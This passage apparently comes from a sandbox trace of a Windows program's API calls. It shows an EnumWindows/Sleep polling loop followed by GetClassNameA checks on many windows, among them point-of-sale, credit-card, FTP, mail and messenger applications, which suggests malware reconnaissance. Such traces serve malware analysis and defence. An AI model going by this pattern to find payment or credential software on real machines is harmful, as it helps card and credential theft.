(dwMilliseconds=0x64) [0261.576] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.577] Sleep (dwMilliseconds=0x64) [0261.579] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.580] Sleep (dwMilliseconds=0x64) [0261.581] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.581] Sleep (dwMilliseconds=0x64) [0261.652] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.653] Sleep (dwMilliseconds=0x64) [0261.688] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.689] Sleep (dwMilliseconds=0x64) [0261.697] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.698] Sleep (dwMilliseconds=0x64) [0261.715] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) returned 1 [0261.715] GetClassNameA (in: hWnd=0x100da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0261.715] GetClassNameA (in: hWnd=0x10134, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0261.715] GetClassNameA (in: hWnd=0x200f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0261.715] GetClassNameA (in: hWnd=0x10104, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0261.715] GetClassNameA (in: hWnd=0x10108, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0261.715] GetClassNameA (in: hWnd=0x1010a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0261.715] GetClassNameA (in: hWnd=0x10106, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0261.715] GetClassNameA (in: hWnd=0x10102, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0261.715] GetClassNameA (in: hWnd=0x10100, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0261.715] GetClassNameA (in: hWnd=0x100fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0261.715] GetClassNameA (in: hWnd=0x100fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0261.715] GetClassNameA (in: hWnd=0x10176, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0261.716] GetClassNameA (in: hWnd=0x10168, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0261.716] GetClassNameA (in: hWnd=0x10158, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0261.716] GetClassNameA (in: hWnd=0x100fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.716] GetClassNameA (in: hWnd=0x100ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0261.716] GetClassNameA (in: hWnd=0x1019c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0261.716] GetClassNameA (in: hWnd=0x1018c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0261.716] GetClassNameA (in: hWnd=0x10184, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0261.716] GetClassNameA (in: hWnd=0x1017e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0261.716] GetClassNameA (in: hWnd=0x100c8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0261.716] GetClassNameA (in: hWnd=0x100ba, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0261.716] GetClassNameA (in: hWnd=0x10090, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0261.716] GetClassNameA (in: hWnd=0x10084, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0261.717] GetClassNameA (in: hWnd=0x100c0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0261.717] GetClassNameA (in: hWnd=0x100bc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0261.717] GetClassNameA (in: hWnd=0x100b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0261.717] GetClassNameA (in: hWnd=0x100a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0261.717] GetClassNameA (in: hWnd=0x100a0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0261.717] GetClassNameA (in: hWnd=0x100c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0261.717] GetClassNameA (in: hWnd=0x20078, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Shell_TrayWnd") returned 13 [0261.717] GetClassNameA (in: hWnd=0x101dc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD45CE4120") returned 20 [0261.717] GetClassNameA (in: hWnd=0x100d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0261.717] GetClassNameA (in: hWnd=0x40132, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0261.717] GetClassNameA (in: hWnd=0x202e2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0261.717] GetClassNameA (in: hWnd=0x2024c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TabThumbnailWindow") returned 18 [0261.717] GetClassNameA (in: hWnd=0x2026a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-006BD5C8-8b7ad90") returned 28 [0261.717] GetClassNameA (in: hWnd=0x202ee, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Alternate Owner") returned 15 [0261.717] GetClassNameA (in: hWnd=0x20298, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.717] GetClassNameA (in: hWnd=0x10340, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="AnalysisDemocratcls") returned 19 [0261.717] GetClassNameA (in: hWnd=0x1033e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="largecls") returned 8 [0261.718] GetClassNameA (in: hWnd=0x10310, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="edcsvrapp") returned 9 [0261.718] GetClassNameA (in: hWnd=0x1032e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="utg2class") returned 9 [0261.718] GetClassNameA (in: hWnd=0x10328, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="spgagentservice_window") returned 22 [0261.718] GetClassNameA (in: hWnd=0x102fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ccv_server_app") returned 14 [0261.718] GetClassNameA (in: hWnd=0x1032a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="spcwin_wnd") returned 10 [0261.718] GetClassNameA (in: hWnd=0x10320, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="mxslipstreamapp") returned 15 [0261.718] GetClassNameA (in: hWnd=0x102f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="afr38window") returned 11 [0261.718] GetClassNameA (in: hWnd=0x10322, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="omniposwnd") returned 10 [0261.718] GetClassNameA (in: hWnd=0x10314, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="issposclass") returned 11 [0261.735] GetClassNameA (in: hWnd=0x102f0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="accupos_window") returned 14 [0261.735] GetClassNameA (in: hWnd=0x10312, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="fpos_window") returned 11 [0261.735] GetClassNameA (in: hWnd=0x1033a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.735] GetClassNameA (in: hWnd=0x10308, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="centralcreditcardapp") returned 20 [0261.735] GetClassNameA (in: hWnd=0x10304, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="creditserviceclass") returned 18 [0261.735] GetClassNameA (in: hWnd=0x102da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="winscpapp") returned 9 [0261.735] GetClassNameA (in: hWnd=0x102f4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="aldeloapp") returned 9 [0261.735] GetClassNameA (in: hWnd=0x102d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="trillianapp") returned 11 [0261.736] GetClassNameA (in: hWnd=0x102e6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="yahoomessenger_window") returned 21 [0261.736] GetClassNameA (in: hWnd=0x102e4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="active-chargeapp") returned 16 [0261.736] GetClassNameA (in: hWnd=0x102ce, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="whatsappapp") returned 11 [0261.736] GetClassNameA (in: hWnd=0x102d0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="webdriveclass") returned 13 [0261.736] GetClassNameA (in: hWnd=0x102ae, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="scriptftpapp") returned 12 [0261.736] GetClassNameA (in: hWnd=0x102c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="thunderbirdwindow") returned 17 [0261.736] GetClassNameA (in: hWnd=0x102bc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="skypeclass") returned 10 [0261.736] GetClassNameA (in: hWnd=0x102a2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="operamailwindow") returned 15 [0261.736] GetClassNameA (in: hWnd=0x102ba, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="smartftp_wnd") returned 12 [0261.737] GetClassNameA (in: hWnd=0x102b0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="pidgin_cls") returned 10 [0261.737] GetClassNameA (in: hWnd=0x102aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="outlookwnd") returned 10 [0261.737] GetClassNameA (in: hWnd=0x102a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="notepadapp") returned 10 [0261.737] GetClassNameA (in: hWnd=0x1028a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="icq_class") returned 9 [0261.737] GetClassNameA (in: hWnd=0x10294, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ncftp") returned 5 [0261.737] GetClassNameA (in: hWnd=0x10288, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="leechftpcls") returned 11 [0261.737] GetClassNameA (in: hWnd=0x10274, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="flingclass") returned 10 [0261.737] GetClassNameA (in: hWnd=0x10280, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="gmailnotifierproapp") returned 19 [0261.737] GetClassNameA (in: hWnd=0x1026c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="filezilla") returned 9 [0261.737] GetClassNameA (in: hWnd=0x10282, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="foxmailincmail_cls") returned 18 [0261.737] GetClassNameA (in: hWnd=0x10272, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="flashfxp_class") returned 14 [0261.737] GetClassNameA (in: hWnd=0x1025e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="farapp") returned 6 [0261.737] GetClassNameA (in: hWnd=0x10262, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="coreftp") returned 7 [0261.738] GetClassNameA (in: hWnd=0x10258, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="barcawnd") returned 8 [0261.738] GetClassNameA (in: hWnd=0x1025a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="bitkinexcls") returned 11 [0261.738] GetClassNameA (in: hWnd=0x10252, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="alftp") returned 5 [0261.738] GetClassNameA (in: hWnd=0x10250, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="absolutetelnet_class") returned 20 [0261.738] GetClassNameA (in: hWnd=0x10248, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="3dftp_wnd") returned 9 [0261.738] GetClassNameA (in: hWnd=0x10242, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="up_guess_class") returned 14 [0261.738] GetClassNameA (in: hWnd=0x1021c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Strategyplayerownerwnd") returned 22 [0261.738] GetClassNameA (in: hWnd=0x1022a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Talk_class") returned 10 [0261.738] GetClassNameA (in: hWnd=0x10222, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="loss_Necessary_app") returned 18 [0261.738] GetClassNameA (in: hWnd=0x10224, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="safewindow") returned 10 [0261.738] GetClassNameA (in: hWnd=0x10218, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="now_Third_window") returned 16 [0261.738] GetClassNameA (in: hWnd=0x10212, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="cup_cls") returned 7 [0261.739] GetClassNameA (in: hWnd=0x10206, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="second_Position_home_wnd") returned 24 [0261.739] GetClassNameA (in: hWnd=0x10226, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="agent_window") returned 12 [0261.739] GetClassNameA (in: hWnd=0x10210, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Hementionnewswindow") returned 19 [0261.739] GetClassNameA (in: hWnd=0x10204, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="High") returned 4 [0261.739] GetClassNameA (in: hWnd=0x301fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Another_artist_window") returned 21 [0261.739] GetClassNameA (in: hWnd=0x2018e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="cover_More_cls") returned 14 [0261.739] GetClassNameA (in: hWnd=0x401f0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Along") returned 5 [0261.739] GetClassNameA (in: hWnd=0x3002e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="teamMaintainwnd") returned 15 [0261.739] GetClassNameA (in: hWnd=0x20138, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.739] GetClassNameA (in: hWnd=0x30032, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0261.739] GetClassNameA (in: hWnd=0x2015c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0261.739] GetClassNameA (in: hWnd=0x6003e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0261.740] GetClassNameA (in: hWnd=0x30194, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0261.740] GetClassNameA (in: hWnd=0x2027c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.740] GetClassNameA (in: hWnd=0x20124, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IEFrame") returned 7 [0261.740] GetClassNameA (in: hWnd=0x20126, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0261.740] GetClassNameA (in: hWnd=0x20196, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0261.740] GetClassNameA (in: hWnd=0x400f8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.740] GetClassNameA (in: hWnd=0x501ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.740] GetClassNameA (in: hWnd=0x101d8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.740] GetClassNameA (in: hWnd=0x101d6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.740] GetClassNameA (in: hWnd=0x101d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.740] GetClassNameA (in: hWnd=0x101c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD43B47080") returned 20 [0261.741] GetClassNameA (in: hWnd=0x101c0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.741] GetClassNameA (in: hWnd=0x101b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="SystemTray_Main") returned 15 [0261.741] GetClassNameA (in: hWnd=0x101ae, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0261.741] GetClassNameA (in: hWnd=0x101aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.741] GetClassNameA (in: hWnd=0x10148, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0261.741] GetClassNameA (in: hWnd=0x10118, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0261.741] GetClassNameA (in: hWnd=0x1010e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.741] GetClassNameA (in: hWnd=0x10116, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TabletModeCoverWindow") returned 21 [0261.741] GetClassNameA (in: hWnd=0x101a2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.741] GetClassNameA (in: hWnd=0x101a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.741] GetClassNameA (in: hWnd=0x10114, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0261.741] GetClassNameA (in: hWnd=0x1010c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0261.741] GetClassNameA (in: hWnd=0x100ee, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0261.742] GetClassNameA (in: hWnd=0x100ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0261.742] GetClassNameA (in: hWnd=0x100e6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.742] GetClassNameA (in: hWnd=0x100e0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.742] GetClassNameA (in: hWnd=0x100de, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.742] GetClassNameA (in: hWnd=0x200d6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.742] GetClassNameA (in: hWnd=0x100be, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0261.742] GetClassNameA (in: hWnd=0xc0240, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0261.742] GetClassNameA (in: hWnd=0x20020, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0261.742] GetClassNameA (in: hWnd=0x30016, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0261.742] GetClassNameA (in: hWnd=0x20028, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0261.742] GetClassNameA (in: hWnd=0x2004a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="PNIHiddenWnd") returned 12 [0261.742] GetClassNameA (in: hWnd=0x100aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0261.743] GetClassNameA (in: hWnd=0x10072, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0261.743] GetClassNameA (in: hWnd=0x1006e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0261.743] GetClassNameA (in: hWnd=0x10022, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Dwm") returned 3 [0261.743] GetClassNameA (in: hWnd=0x10192, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="CicLoaderWndClass") returned 17 [0261.743] GetClassNameA (in: hWnd=0x302ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0261.743] GetClassNameA (in: hWnd=0x100cc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Progman") returned 7 [0261.743] GetClassNameA (in: hWnd=0x10136, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.743] GetClassNameA (in: hWnd=0x10178, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.743] GetClassNameA (in: hWnd=0x1016a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.743] GetClassNameA (in: hWnd=0x1015a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.743] GetClassNameA (in: hWnd=0x10186, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.743] GetClassNameA (in: hWnd=0x100ca, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0261.744] GetClassNameA (in: hWnd=0x1007a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.744] GetClassNameA (in: hWnd=0x30246, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.744] GetClassNameA (in: hWnd=0x202fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.744] GetClassNameA (in: hWnd=0x20214, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.744] GetClassNameA (in: hWnd=0x1035c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.744] GetClassNameA (in: hWnd=0x1035a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.744] GetClassNameA (in: hWnd=0x10358, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.744] GetClassNameA (in: hWnd=0x10356, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.744] GetClassNameA (in: hWnd=0x10354, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.745] GetClassNameA (in: hWnd=0x10352, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.745] GetClassNameA (in: hWnd=0x1034e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.745] GetClassNameA (in: hWnd=0x901f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.745] GetClassNameA (in: hWnd=0x1034c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.745] GetClassNameA (in: hWnd=0x1034a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.745] GetClassNameA (in: hWnd=0x10348, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.745] GetClassNameA (in: hWnd=0x10346, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.745] GetClassNameA (in: hWnd=0x10344, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.745] GetClassNameA (in: hWnd=0x10336, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.745] GetClassNameA (in: hWnd=0x10332, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.745] GetClassNameA (in: hWnd=0x10330, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.746] GetClassNameA (in: hWnd=0x1032c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.746] GetClassNameA (in: hWnd=0x1031c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.746] GetClassNameA (in: hWnd=0x10318, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.746] GetClassNameA (in: hWnd=0x10316, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.746] GetClassNameA (in: hWnd=0x1030a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.746] GetClassNameA (in: hWnd=0x10306, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.746] GetClassNameA (in: hWnd=0x102fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.746] GetClassNameA (in: hWnd=0x102f6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.746] GetClassNameA (in: hWnd=0x102ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.746] GetClassNameA (in: hWnd=0x102e8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.746] GetClassNameA (in: hWnd=0x102e0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.747] GetClassNameA (in: hWnd=0x102dc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.747] GetClassNameA (in: hWnd=0x102d4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.747] GetClassNameA (in: hWnd=0x102cc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.747] GetClassNameA (in: hWnd=0x102c2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.747] GetClassNameA (in: hWnd=0x102be, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.747] GetClassNameA (in: hWnd=0x102b4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.747] GetClassNameA (in: hWnd=0x102b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.747] GetClassNameA (in: hWnd=0x102a6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.747] GetClassNameA (in: hWnd=0x102a0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.747] GetClassNameA (in: hWnd=0x10296, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.747] GetClassNameA (in: hWnd=0x1028c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.748] GetClassNameA (in: hWnd=0x1027a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.748] GetClassNameA (in: hWnd=0x10278, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.748] GetClassNameA (in: hWnd=0x10276, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.748] GetClassNameA (in: hWnd=0x10270, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.748] GetClassNameA (in: hWnd=0x1026e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.748] GetClassNameA (in: hWnd=0x10266, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.748] GetClassNameA (in: hWnd=0x10264, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.748] GetClassNameA (in: hWnd=0x1024a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.748] GetClassNameA (in: 